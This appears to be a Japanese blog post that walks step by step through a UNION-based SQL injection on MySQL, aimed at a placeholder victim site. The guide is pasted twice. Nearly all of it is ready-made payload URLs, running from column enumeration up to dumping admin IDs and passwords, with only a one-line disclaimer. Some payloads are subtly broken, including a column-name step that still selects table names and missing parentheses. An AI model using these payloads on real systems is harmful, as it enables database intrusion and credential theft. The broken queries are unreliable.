SQL Injection ‘ order byからデータベースのID/パスワード奪取まで

Pocket

SQL Injection

自分サイトの許可された範囲以外で決して実行しないでください。

MySQL想定で進めます。以下のように置き換えればMySQL以外も確認可能です。

MYSQL:→user () MS-SQL→ user_name() ORACLE→ select user from dual;


Step1 挙動差異を確認

http://www.victimsite.com/index.php?id=2′

Step2 列数を確認

うまくいかない時は– –を追加

http://www.victimsite.com/index.php?id=2 order by 7

(noerror)

http://www.victimsite.com/index.php?id=2 order by 8

(error)

Step3 列を表示

idの値を負の値に変更してください(union select NULL, NULL, NULL, NULL, でも可)

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7–

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7–

Step4 返してしまった列でまず情報を確認

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7–

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7–

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7–

Step5 テーブル名を取得

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()–

Step6 列名を取得

mysqlcharの部分はHackBarアドオンなどでCHAR97 100,109,105,110)と変換する必要があります。

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from

information_schema.columns WHERE table_name = mysqlchar-

Step7 仕上げ

group_concatcolumn_name)をgroup_concatcolumnname0x3aanothercolumnname)に置き換えます

http://www.victimsite.com/index.php?id=-2

and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin–

http://breakthesecurity.cysecurity.org/2010/12/hacking-website-using-sql-injection-step-by-step-guide.html

Step1 挙動差異を確認

http://www.victimsite.com/index.php?id=2′

Step2 列数を確認

うまくいかない時は– –を追加

http://www.victimsite.com/index.php?id=2 order by 7

(noerror)

http://www.victimsite.com/index.php?id=2 order by 8

(error)

Step3 列を表示

idの値を負の値に変更してください

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7–

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7–

Step4 返してしまった列でまず情報を確認

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7–

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7–

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7–

Step5 テーブル名を取得

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()–

Step6 列名を取得

mysqlcharの部分はHackBarアドオンなどでCHAR97 100,109,105,110)と変換する必要があります。

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from

information_schema.columns WHERE table_name = mysqlchar-

Step7 仕上げ

group_concatcolumn_name)をgroup_concatcolumnname0x3aanothercolumnname)に置き換えます

http://www.victimsite.com/index.php?id=-2

and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin–